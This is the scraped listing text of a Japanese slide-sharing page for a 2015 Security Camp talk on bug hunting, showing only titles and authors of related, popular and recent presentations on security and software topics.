セキュリティを楽しむ(CTFとbugbountyの始め方)
kazkiti
 
バグハンターの哀しみ
バグハンターの哀しみバグハンターの哀しみ
バグハンターの哀しみ
Masato Kinugawa
 
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
 
テスト文字列に「うんこ」と入れるな
テスト文字列に「うんこ」と入れるなテスト文字列に「うんこ」と入れるな
テスト文字列に「うんこ」と入れるな
Kentaro Matsui
 
シリコンバレーの「何が」凄いのか
シリコンバレーの「何が」凄いのかシリコンバレーの「何が」凄いのか
シリコンバレーの「何が」凄いのか
Atsushi Nakada
 
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
Masato Kinugawa
 
今Serverlessが面白いわけ
今Serverlessが面白いわけ今Serverlessが面白いわけ
今Serverlessが面白いわけ
Yoichi Kawasaki
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
 
世界一わかりやすいClean Architecture
世界一わかりやすいClean Architecture世界一わかりやすいClean Architecture
世界一わかりやすいClean Architecture
Atsushi Nakamura
 
これからSpringを使う開発者が知っておくべきこと
これからSpringを使う開発者が知っておくべきことこれからSpringを使う開発者が知っておくべきこと
これからSpringを使う開発者が知っておくべきこと
土岐 孝平
 
それはYAGNIか? それとも思考停止か?
それはYAGNIか? それとも思考停止か?それはYAGNIか? それとも思考停止か?
それはYAGNIか? それとも思考停止か?
Yoshitaka Kawashima
 
ドメイン駆動設計 本格入門
ドメイン駆動設計 本格入門ドメイン駆動設計 本格入門
ドメイン駆動設計 本格入門
増田 亨
 
REST API のコツ
REST API のコツREST API のコツ
REST API のコツ
pospome
 
モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)
モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)
モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)
NTT DATA Technology & Innovation
 
マイクロサービスにおける 非同期アーキテクチャ
マイクロサービスにおける非同期アーキテクチャマイクロサービスにおける非同期アーキテクチャ
マイクロサービスにおける 非同期アーキテクチャ
ota42y
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
zaki4649
 
インフラエンジニアってなんでしたっけ(仮)
インフラエンジニアってなんでしたっけ(仮)インフラエンジニアってなんでしたっけ(仮)
インフラエンジニアってなんでしたっけ(仮)
Akihiro Kuwano
 
エキスパートPythonプログラミング改訂3版の読みどころ
エキスパートPythonプログラミング改訂3版の読みどころエキスパートPythonプログラミング改訂3版の読みどころ
エキスパートPythonプログラミング改訂3版の読みどころ
Takayuki Shimizukawa
 
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
Takafumi ONAKA
 

What's hot (20)

今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
 
セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)
 
バグハンターの哀しみ
バグハンターの哀しみバグハンターの哀しみ
バグハンターの哀しみ
 
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
 
テスト文字列に「うんこ」と入れるな
テスト文字列に「うんこ」と入れるなテスト文字列に「うんこ」と入れるな
テスト文字列に「うんこ」と入れるな
 
シリコンバレーの「何が」凄いのか
シリコンバレーの「何が」凄いのかシリコンバレーの「何が」凄いのか
シリコンバレーの「何が」凄いのか
 
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~
 
今Serverlessが面白いわけ
今Serverlessが面白いわけ今Serverlessが面白いわけ
今Serverlessが面白いわけ
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
世界一わかりやすいClean Architecture
世界一わかりやすいClean Architecture世界一わかりやすいClean Architecture
世界一わかりやすいClean Architecture
 
これからSpringを使う開発者が知っておくべきこと
これからSpringを使う開発者が知っておくべきことこれからSpringを使う開発者が知っておくべきこと
これからSpringを使う開発者が知っておくべきこと
 
それはYAGNIか? それとも思考停止か?
それはYAGNIか? それとも思考停止か?それはYAGNIか? それとも思考停止か?
それはYAGNIか? それとも思考停止か?
 
ドメイン駆動設計 本格入門
ドメイン駆動設計 本格入門ドメイン駆動設計 本格入門
ドメイン駆動設計 本格入門
 
REST API のコツ
REST API のコツREST API のコツ
REST API のコツ
 
モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)
モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)
モノリスからマイクロサービスへの移行 ~ストラングラーパターンの検証~(Spring Fest 2020講演資料)
 
マイクロサービスにおける 非同期アーキテクチャ
マイクロサービスにおける非同期アーキテクチャマイクロサービスにおける非同期アーキテクチャ
マイクロサービスにおける 非同期アーキテクチャ
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
インフラエンジニアってなんでしたっけ(仮)
インフラエンジニアってなんでしたっけ(仮)インフラエンジニアってなんでしたっけ(仮)
インフラエンジニアってなんでしたっけ(仮)
 
エキスパートPythonプログラミング改訂3版の読みどころ
エキスパートPythonプログラミング改訂3版の読みどころエキスパートPythonプログラミング改訂3版の読みどころ
エキスパートPythonプログラミング改訂3版の読みどころ
 
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
 

Similar to SecurityCamp2015「バグハンティング入門」

ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
tobaru_yuta
 
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~ アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
CYBIRD Co.,Ltd.
 
Webアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断についてWebアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断について
tobaru_yuta
 
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
グローバルセキュリティエキスパート株式会社(GSX)
 
正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ
ymmt
 
網元起動隊 デジコミュ秋田
網元起動隊 デジコミュ秋田網元起動隊 デジコミュ秋田
網元起動隊 デジコミュ秋田
Kazunari Takeda
 
0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用
真琴 平賀
 
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.02019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
Isaac Mathis
 
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
Riotaro OKADA
 
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
schoowebcampus
 
脆弱性もバグ、だからテストしよう DevSummiFukuoka
脆弱性もバグ、だからテストしよう DevSummiFukuoka脆弱性もバグ、だからテストしよう DevSummiFukuoka
脆弱性もバグ、だからテストしよう DevSummiFukuoka
ichikaway
 
UXとCS(カスタマーサクセス)
UXとCS(カスタマーサクセス)UXとCS(カスタマーサクセス)
UXとCS(カスタマーサクセス)
Yukinori SAEKI
 
Mix Leap 0214 security
Mix Leap 0214 securityMix Leap 0214 security
Mix Leap 0214 security
adachi tomohiro
 
投資会社から見た人工知能(Ai)の事業化トレンド
投資会社から見た人工知能(Ai)の事業化トレンド投資会社から見た人工知能(Ai)の事業化トレンド
投資会社から見た人工知能(Ai)の事業化トレンド
Osaka University
 
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
Masahito Zembutsu
 
2019 1117 security_jaws_toal_5min_slideshare
2019 1117 security_jaws_toal_5min_slideshare2019 1117 security_jaws_toal_5min_slideshare
2019 1117 security_jaws_toal_5min_slideshare
Shinichiro Kawano
 
WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka Katsumi Yamashita
 
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断研究会
 
Security measures
Security measuresSecurity measures
Security measures
shusuke-ichikawa
 
Isc2 japan chapter発足LT
Isc2 japan chapter発足LTIsc2 japan chapter発足LT
Isc2 japan chapter発足LTHaga Takeshi
 

Similar to SecurityCamp2015「バグハンティング入門」 (20)

ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
 
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~ アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
アプリの「無事故リリース」を目指して~品質管理部によるSmartBeat活用事例~
 
Webアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断についてWebアプリケーション脆弱性診断について
Webアプリケーション脆弱性診断について
 
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
なぜ今、セキュリティ人材の育成がこんなにも叫ばれているのだろうか?
 
正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ正しく恐れるクラウドのセキュリティ
正しく恐れるクラウドのセキュリティ
 
網元起動隊 デジコミュ秋田
網元起動隊 デジコミュ秋田網元起動隊 デジコミュ秋田
網元起動隊 デジコミュ秋田
 
0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用0325できる?どうやる!word pressのセキュリティ運用
0325できる?どうやる!word pressのセキュリティ運用
 
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.02019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
 
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
 
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
スタートアップのCEOもおさえておきたい、ITインフラのセキュリティ対策 先生:
 
脆弱性もバグ、だからテストしよう DevSummiFukuoka
脆弱性もバグ、だからテストしよう DevSummiFukuoka脆弱性もバグ、だからテストしよう DevSummiFukuoka
脆弱性もバグ、だからテストしよう DevSummiFukuoka
 
UXとCS(カスタマーサクセス)
UXとCS(カスタマーサクセス)UXとCS(カスタマーサクセス)
UXとCS(カスタマーサクセス)
 
Mix Leap 0214 security
Mix Leap 0214 securityMix Leap 0214 security
Mix Leap 0214 security
 
投資会社から見た人工知能(Ai)の事業化トレンド
投資会社から見た人工知能(Ai)の事業化トレンド投資会社から見た人工知能(Ai)の事業化トレンド
投資会社から見た人工知能(Ai)の事業化トレンド
 
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
普通の人が勉強会で発表するために必要な準備のすべて~入門パブリック・スピーキング
 
2019 1117 security_jaws_toal_5min_slideshare
2019 1117 security_jaws_toal_5min_slideshare2019 1117 security_jaws_toal_5min_slideshare
2019 1117 security_jaws_toal_5min_slideshare
 
WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka WisePoint Shibboleth presentation at Oosaka
WisePoint Shibboleth presentation at Oosaka
 
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)
 
Security measures
Security measuresSecurity measures
Security measures
 
Isc2 japan chapter発足LT
Isc2 japan chapter発足LTIsc2 japan chapter発足LT
Isc2 japan chapter発足LT
 

Recently uploaded

20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
Seiya Shimabukuro
 
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
Yuki Miyazaki
 
生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI
生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI
生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI
Osaka University
 
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptxiMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
kitamisetagayaxxx
 
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
Osaka University
 
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
sugiuralab
 
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
ARISE analytics
 
ロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobody
ロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobodyロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobody
ロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobody
azuma satoshi
 
Humanoid Virtual Athletics Challenge2024 技術講習会 スライド
Humanoid Virtual Athletics Challenge2024 技術講習会 スライドHumanoid Virtual Athletics Challenge2024 技術講習会 スライド
Humanoid Virtual Athletics Challenge2024 技術講習会 スライド
tazaki1
 
ハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMM
ハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMMハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMM
ハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMM
osamut
 
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
Shinichi Hirauchi
 
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
Takuya Minagawa
 
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
Osaka University
 
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDDなぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
ssuserfcafd1
 
「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演
「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演
「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演
嶋 是一 (Yoshikazu SHIMA)
 

Recently uploaded (15)

20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
20240621_AI事業者ガイドライン_セキュリティパートの紹介_SeiyaShimabukuro
 
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
無形価値を守り育てる社会における「デー タ」の責務について - Atlas, Inc.
 
生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI
生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI
生成AIがもたらすコンテンツ経済圏の新時代  The New Era of Content Economy Brought by Generative AI
 
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptxiMacwoSu_Gong_de_barabaranishitaHua_.pptx
iMacwoSu_Gong_de_barabaranishitaHua_.pptx
 
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
協働AIがもたらす業務効率革命 -日本企業が押さえるべきポイント-Collaborative AI Revolutionizing Busines...
 
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
ヒアラブルへの入力を想定したユーザ定義型ジェスチャ調査と IMUセンサによる耳タッチジェスチャの認識
 
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
【JSAI2024】LLMエージェントの人間との対話における反芻的返答の親近感向上効果_v1.1.pdf
 
ロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobody
ロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobodyロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobody
ロジックから状態を分離する技術/設計ナイト2024 by わいとん @ytnobody
 
Humanoid Virtual Athletics Challenge2024 技術講習会 スライド
Humanoid Virtual Athletics Challenge2024 技術講習会 スライドHumanoid Virtual Athletics Challenge2024 技術講習会 スライド
Humanoid Virtual Athletics Challenge2024 技術講習会 スライド
 
ハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMM
ハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMMハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMM
ハイブリッドクラウド研究会_Hyper-VとSystem Center Virtual Machine Manager セッションMM
 
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
気ままなLLMをAgents for Amazon Bedrockでちょっとだけ飼いならす
 
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT  vol112 発表資料)
ろくに電子工作もしたことない人間がIoT用ミドルウェアを作った話(IoTLT vol112 発表資料)
 
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
生成AIの実利用に必要なこと-Practical Requirements for the Deployment of Generative AI
 
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDDなぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
なぜそのDDDは効果が薄いのか?名ばかりDX案件での経験を踏まえて培った他の思考を交えた現代風?のDDD
 
「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演
「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演
「進化するアプリ イマ×ミライ ~生成AIアプリへ続く道と新時代のアプリとは~」Interop24Tokyo APPS JAPAN B1-01講演
 

SecurityCamp2015「バグハンティング入門」